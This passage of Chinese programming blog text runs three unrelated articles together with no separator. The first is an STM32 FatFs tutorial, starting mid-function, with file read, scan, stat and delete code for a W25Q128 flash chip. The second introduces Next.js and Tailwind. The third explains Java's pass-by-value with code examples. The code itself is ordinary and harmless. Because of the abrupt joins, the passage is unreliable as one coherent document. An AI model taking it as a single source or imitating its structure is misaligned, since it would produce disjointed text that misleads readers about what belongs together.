	FIL	file;
	//以只读方式打开文件
	FRESULT res = f_open(&file, filename, FA_READ);  
	//打开成功
	if(res == FR_OK)
	{
		//读取缓存
		TCHAR str[100];
		//没有读到文件内容末尾
		while(!f_eof(&file))
		{
			//读取1个字符串,自动加上结束符”\0”
			f_gets(str,100, &file);	
			printf("%s", str);
		}
		printf("\r\n");
	}
	//如果没有该文件
	else if(res == FR_NO_FILE)
		printf("File does not exist\r\n");
	//打开失败
	else
		printf("f_open() error,error code: %d\r\n", res);
	//关闭文件
	f_close(&file);
}

/*扫描和显示指定目录下的文件和目录*/
void FatFs_ScanDir(const TCHAR* PathName)
{
	DIR dir;					//目录对象
	FILINFO fno;				//文件信息
	//打开目录
	FRESULT res = f_opendir(&dir, PathName);
	//打开失败
	if(res != FR_OK)
	{
		//关闭目录,直接退出函数
		f_closedir(&dir);
		printf("\r\nf_opendir() error,error code: %d\r\n", res);
		return;
	}
	
	printf("\r\n*** All entries in dir: %s ***\r\n", PathName);
	//顺序读取目录中的文件
	while(1)
	{
		//读取目录下的一个项
		res = f_readdir(&dir, &fno);    
		//文件名为空表示没有多的项可读了
		if(res != FR_OK || fno.fname[0] == 0)
			break;  
		//如果是一个目录
		if(fno.fattrib & AM_DIR)  		
		{
			printf("DIR: %s\r\n", fno.fname);
		}
		//如果是一个文件
		else  		
		{
			printf("FILE: %s\r\n",fno.fname);
		}
	}
	//扫描完毕,关闭目录
	printf("Scan dir OK\r\n");
	f_closedir(&dir);
}

/*获取一个文件的文件信息*/
void FatFs_GetFileInfo(TCHAR *filename)
{
	printf("\r\n*** File info of: %s ***\r\n", filename);

	FILINFO fno;
	//检查文件或子目录是否存在
	FRESULT fr = f_stat(filename, &fno);
	//如果存在从fno中读取文件信息
	if(fr == FR_OK)
	{
		printf("File size(bytes) = %ld\r\n", fno.fsize);
		printf("File attribute = 0x%x\r\n", fno.fattrib);
		printf("File Name = %s\r\n", fno.fname);
		//输出创建/修改文件时的时间戳
		FatFs_PrintfFileDate(fno.fdate, fno.ftime);
	}
	//如果没有该文件
	else if (fr == FR_NO_FILE)
		printf("File does not exist\r\n");
	//发生其他错误
	else
		printf("f_stat() error,error code: %d\r\n", fr);
}

/*删除文件*/
void FatFs_DeleteFile(TCHAR *filename)
{
	printf("\r\n*** Delete File: %s ***\r\n", filename);
	FIL	file;
	//打开文件
	FRESULT res = f_open(&file, filename, FA_OPEN_EXISTING);  
	if(res == FR_OK)
	{
		//关闭文件
		f_close(&file);
		printf("open successfully!\r\n");
	}
	//删除文件
	res = f_unlink(filename);
	//删除成功
	if(res == FR_OK)
	{
		printf("The file was deleted successfully!\r\n");
	}
	//删除失败
	else
	{
		printf("File deletion failed, error code:%d\r\n", res);
	}
}

/*打印输出文件日期*/
void FatFs_PrintfFileDate(WORD date, WORD time)
{
	printf("File data = %d/%d/%d\r\n", ((date>>9)&0x7F)+1980, (date>>5)&0xF, date&0x1F);
	printf("File time = %d:%d:%d\r\n", (time>>11)&0x1F, (time>>5)&0x3F, time&0x1F);
}

file_operate.h文件

#ifndef FILE_OPERATE_H
#define FILE_OPERATE_H

#include "main.h"
#include "FatFs.h"
#include "stdio.h"

/*定义自己的存储设备*/
/*用户存储设备扇区字节数*/
#define User_Sector 4096
/*用户存储设备FatFS对象*/
#define User_FatFs 	USERFatFS
/*用户存储设备卷路径*/
#define User_SDPath USERPath

/*函数声明*/
void Mount_FatFs(void);
void FatFs_GetDiskInfo(void);
void FatFs_ScanDir(const TCHAR* PathName);
void FatFs_ReadTXTFile(TCHAR *filename);
void FatFs_WriteTXTFile(TCHAR *filename,uint16_t year, uint8_t month, uint8_t day);
void FatFs_GetFileInfo(TCHAR *filename);
void FatFs_DeleteFile(TCHAR *filename);
void FatFs_PrintfFileDate(WORD date, WORD time);

#endif

向工程中添加.c/.h文件的步骤请阅读“
STM32CubeMX教程19 I2C - MPU6050驱动
”实验3.2.3小节

最后在main.c文件中添加 ”file_operate.h“ 头文件,然后在主函数 main() 中调用文件系统挂载函数,实现按键控制逻辑程序,具体源代码如下所示

/*main.c中添加头文件*/
#include "file_operate.h" 

/*外输初始化完进入主循环前*/
//检测SPI与W25Q128通信是否正常
printf("Reset,ID:0x%x\r\n", Flash_ReadID());
//挂载文件系统
Mount_FatFs();
//获取磁盘信息
FatFs_GetDiskInfo();

/*主循环中按键逻辑*/
/*按键WK_UP被按下*/
if(HAL_GPIO_ReadPin(WK_UP_GPIO_Port,WK_UP_Pin) == GPIO_PIN_SET)
{
	HAL_Delay(50);
	if(HAL_GPIO_ReadPin(WK_UP_GPIO_Port,WK_UP_Pin) == GPIO_PIN_SET)
	{
		FatFs_ScanDir("0:/");
		while(HAL_GPIO_ReadPin(WK_UP_GPIO_Port,WK_UP_Pin));
	}
}

/*按键KEY2被按下*/
if(HAL_GPIO_ReadPin(KEY2_GPIO_Port,KEY2_Pin) == GPIO_PIN_RESET)
{
	HAL_Delay(50);
	if(HAL_GPIO_ReadPin(KEY2_GPIO_Port,KEY2_Pin) == GPIO_PIN_RESET)
	{
		FatFs_WriteTXTFile("test.txt",2016,11,15);
		while(!HAL_GPIO_ReadPin(KEY2_GPIO_Port,KEY2_Pin));
	}
}

/*按键KEY1被按下*/
if(HAL_GPIO_ReadPin(KEY1_GPIO_Port,KEY1_Pin) == GPIO_PIN_RESET)
{
	HAL_Delay(50);
	if(HAL_GPIO_ReadPin(KEY1_GPIO_Port,KEY1_Pin) == GPIO_PIN_RESET)
	{
		FatFs_ReadTXTFile("test.txt");
		FatFs_GetFileInfo("test.txt");
		while(!HAL_GPIO_ReadPin(KEY1_GPIO_Port,KEY1_Pin));
	}
}

/*按键KEY0被按下*/
if(HAL_GPIO_ReadPin(KEY0_GPIO_Port,KEY0_Pin) == GPIO_PIN_RESET)
{
	HAL_Delay(50);
	if(HAL_GPIO_ReadPin(KEY0_GPIO_Port,KEY0_Pin) == GPIO_PIN_RESET)
	{
		FatFs_DeleteFile("test.txt");
		while(!HAL_GPIO_ReadPin(KEY0_GPIO_Port,KEY0_Pin));
	}
}

4、烧录验证

烧录程序,开发板上电后会尝试在W25Q128 FLASH芯片上挂载文件系统,挂载成功后会输出读取到的 FLASH芯片的信息,接下来按照下面几个步骤使用FatFs文件系统对 FLASH芯片进行读写等测试

  1. 按下开发板上的WK_UP按键,扫描FLASH芯片根目录下所有文件,并通过串口将文件列表输出
  2. 按下开发板上的KEY2按键,在 FLASH芯片根目录创建一个”test.txt“文件,将一个字符串 ”Hello,OSnotes“ 写入该文件中,该字符串大小为15个字节(该字符串中末尾包括了一个’\n‘和一个‘\0')
  3. 按下开发板上的KEY1按键,读取FLASH芯片根目录下名为”test.txt“的文件,将其中的内容通过串口输出,然后读取该文件的信息(大小,属性,名称),并通过串口输出
  4. 按下开发板上的KEY0按键,删除FLASH芯片根目录下名为”test.txt“的文件

整个实验过程串口具体的输出情况如下图所示

5、常用函数

FatFs的所有API函数详细介绍请参看FatFs官网
FatFs - Generic FAT Filesystem Module
,如下所示为笔者对其常用应用接口及其功能做简单介绍

/*注册/取消注册卷的工作区域*/
FRESULT f_mount(FatFs* fs, const TCHAR* path, BYTE opt)
/*在逻辑驱动器上创建FAT卷*/
FRESULT f_mkfs(const TCHAR* path, BYTE opt, DWORD au, void* work, UINT len)
/*获取卷上的可用空间*/
FRESULT f_getfree(const TCHAR* path, DWORD* nclst, FatFs** FatFs)
/*打开/创建文件*/
FRESULT f_open(FIL* fp, const TCHAR* path, BYTE mode)
/*写入一个字符串*/
int f_puts(const TCHAR* str, FIL* fp)
/*写入格式化字符串*/
int f_printf(FIL* fp, const TCHAR* fmt, ...)
/*关闭打开的文件*/
FRESULT f_close(FIL* fp)
/*读取字符串*/
TCHAR* f_gets(TCHAR* buff, int len, FIL* fp)
/*打开目录*/
FRESULT f_opendir(DIR* dp, const TCHAR* path)
/*读取目录项*/
FRESULT f_readdir(DIR* dp, FILINFO* fno)
/*关闭打开的目录*/
FRESULT f_closedir(DIR *dp)
/*检查文件或子目录是否存在*/
FRESULT f_stat(const TCHAR* path, FILINFO* fno)
/*删除文件或子目录*/
FRESULT f_unlink(const TCHAR* path)
/*重命名/移动文件或子目录*/
FRESULT f_rename(const TCHAR* path_old, const TCHAR* path_new)
/*创建子目录*/
FRESULT f_mkdir(const TCHAR* path)

6、注释详解

注释1
:图片来源
FatFs Module Application Note (elm-chan.org)

参考资料

STM32Cube高效开发教程(高级篇)

更多内容请浏览
STM32CubeMX+STM32F4系列教程文章汇总贴

前言

距离上次更新已经过去好久了,之前我在 StarBlog 博客2023年底更新一览的文章里说要使用 Next.js 来重构博客前端,最近也确实用 next.js 做了两个小项目,一个是单点认证项目,另一个是网站的新主页,都还处于开发中,本文记录一下 next.js 使用过程遇到的一些问题和感受。

对了,还有标题里提到的
tailwind
,我去年开发
AIHub
的时候就用上了,因为它和 next.js 这俩组合经常一起出现,本文也一起写了。

PS:本文的篇幅较长,所以拆分了网络请求封装的部分作为独立的文章先发布了;

Next.js 的学习和开发才刚刚开始,后续还有很多需要研究和记录的,本文也许会成为一个新系列?

关于 Next.js

以下是官方的介绍:

Next.js is a React framework for building full-stack web applications. You use React Components to build user interfaces, and Next.js for additional features and optimizations.

Under the hood, Next.js also abstracts and automatically configures tooling needed for React, like bundling, compiling, and more. This allows you to focus on building your application instead of spending time with configuration.

Whether you're an individual developer or part of a larger team, Next.js can help you build interactive, dynamic, and fast React applications.

以下是我的看法:

Next.js 是一套 React 体系的 SSR (服务端渲染)方案,现在很多前端网站实际上是 SPA (单页应用),就只有一个 index.html ,然后附带一个很大的 js 来实现页面渲染和交互,这种小规模的网站还好,网站越大速度就越慢,所以说技术这个车轮又滚回去了,当初被「前后端分离」那帮人嫌弃的后端渲染又回来了,React 有 next.js ,隔壁 vue 有 nuxt.js ,做的事情就是用 node.js 这个后端来渲染页面。

不过 next.js 也不完全是这么简单粗暴,除了后端渲染,它还能像 hexo / hugo 这类静态网站生成器一样生成网页,区别在于 hugo 是根据 md 生成网页,而 next.js 是把 jsx 渲染HTML网页,这样就可以无需依赖 node.js 后端,当成普通的静态网页随意部署。

当然交互也是没问题的,next.js 的组件分成两种,前面说的后端渲染或者生成静态网页的是 server 组件,这种是实现点击按钮就数字加一这类 react 经典操作的;另一种是 client 客户端组件,就跟普通的 react 应用一样了,可以使用 hooks 来操作 DOM。

对我来说,next.js 更大的意义是一个好用的 react 脚手架,React 的生态总让我感觉有点碎片化,原本的 CRA(create react app)实在是有些简陋,很多功能都没有,如果从零搭建一个网站的话,用 CRA 要折腾的东西比 vue-cli 多一些。


next.js 就完美解决了这个问题,自带路由啥的乱七八糟的东西,开箱即用,而且目录结构给限制得明明白白,直接按它的规范写就完事了,再也不用纠结什么
ComponectA/index.tsx

Components/A.tsx
之类的东西了,拒绝精神内耗!

写在开头

Java是值传递还是引用传递?这个问题几乎100%的出现在了各大主流Java面试题中,知识点很小,但很考验面试者对于Java运行的理解,今晚趁着生产投产的空子,过来小聊一下。

实参与形参

所谓的值传递or引用传递是指方法在调用的过程中实参传递的两种变现形式,那么好,想搞清楚这个问题的前提是,先搞清楚
实参

形参

实际参数(实参,英文:Arguments):用于传递给函数/方法的参数,必须有确定的值!
形式参数(形参,英文:Parameters):用于定义函数/方法,接收实参,不需要有确定的值。

int a = 10;
//这里传入的a为实参,有实际确认的值:10
sum(a);
//这里方法定义中的参数为形参,无需确认值,在方法调用中用来接收实际参数
void sum(int p){
	System.out.println(p+10);
}

值传递与引用传递

为了充分调用大家的思考,这里先不给结论,先上几段代码示例,通过分析代码,最终得出结果,这是个人最喜欢的总结方式!

【代码示例1-基本数据类型的参数传递】

public class Test {
    public static void main(String[] args) {
        int a = 1;
        int b = 2;
        swap(a, b);
        System.out.println("实参a = " + a);
        System.out.println("实参b = " + b);
    }
    public static void swap(int p1, int p2) {
        int temp = p1;
        p1 = p2;
        p2 = temp;
        System.out.println("p1 = " + p1);
        System.out.println("p2 = " + p2);
    }
}

输出:

p1 = 2
p2 = 1
实参a = 1
实参b = 2

分析:
在swap()方法中,我们将p1,p2参数的值进行了互换,但这并没有影响实参a,b的值,因为在传入方法时,只是对a,b的值做了拷贝,拷贝之后,他们之间的关系互相独立,这就是值传递!

【代码示例2-引用类型的参数传递】

public class Test {
    public static void main(String[] args) {
        int[] arr = { 1, 2, 3};
        System.out.println(arr[0]);
        change(arr);
        System.out.println(arr[0]);
    }
    public static void change(int[] array) {
        array[0] = 0;
    }
}

输出:

1
0

分析:
初始化一个引用类型的数组arr作为实参,在change方法中我们将数组的0位数值进行了重新赋值,将实参传入方法执行后,我们可以看到实参的第0位数值已经被成功修改为0,看上去是不是像引用传递?
实则不然!请看下面的示意图:

我们知道实参arr是一个对象的引用,而在调用change()时将实参传进来,其实是拷贝了一份实参的引用地址过来,而这个时候实现与形参,他们会执行对象数据对象的同一个地址,导致我们在修改形参的数组值时,实参的0位数值也发生了改变,毕竟他们指向的是同一对象!

【代码示例3-String的参数传递】

public class Test{
    public static void main(String[] args) {
        Test test= new Test();
        // String类
        String s = "hello";
        test.pass(s);
        System.out.println("s = " + s);
    }
    public void pass(String str) {
        str = "world";
        System.out.println("str = "+ str);
    }
}

输出:

str = world
s = hello

分析:
看到这个结果时,是不是有点出乎意料,在示例2中我们得知,引用类型时的参数传递,拷贝的是引用地址的值,实参会随着形参的改变而改变,但这一段代码的输出显然不符合预期,这是为什么?
看过俺之前写的文章的朋友应该是清楚的,虽然String也是引用类型,但它是不可变类,一旦对赋值完成,就改变不聊了,这也就意味着,上述代码中的两次字符串赋值,分别操作的是两个String对象,两者毫无关联!
String的详细描述,可以看一下这篇文章:
一文看完String的前世今生

总结

看完了如上的例子,大家对Java的参数传递有没有更深的了解了呢,通过上面的几个例子我们可以得出这样的总结:

Java中将实参传递给方法(或函数)的方式是
值传递
如果参数是基本类型的话,很简单,传递的就是基本类型的字面量值的拷贝,会创建副本。
如果参数是引用类型,传递的就是实参所引用的对象在堆中地址值的拷贝,同样也会创建副本。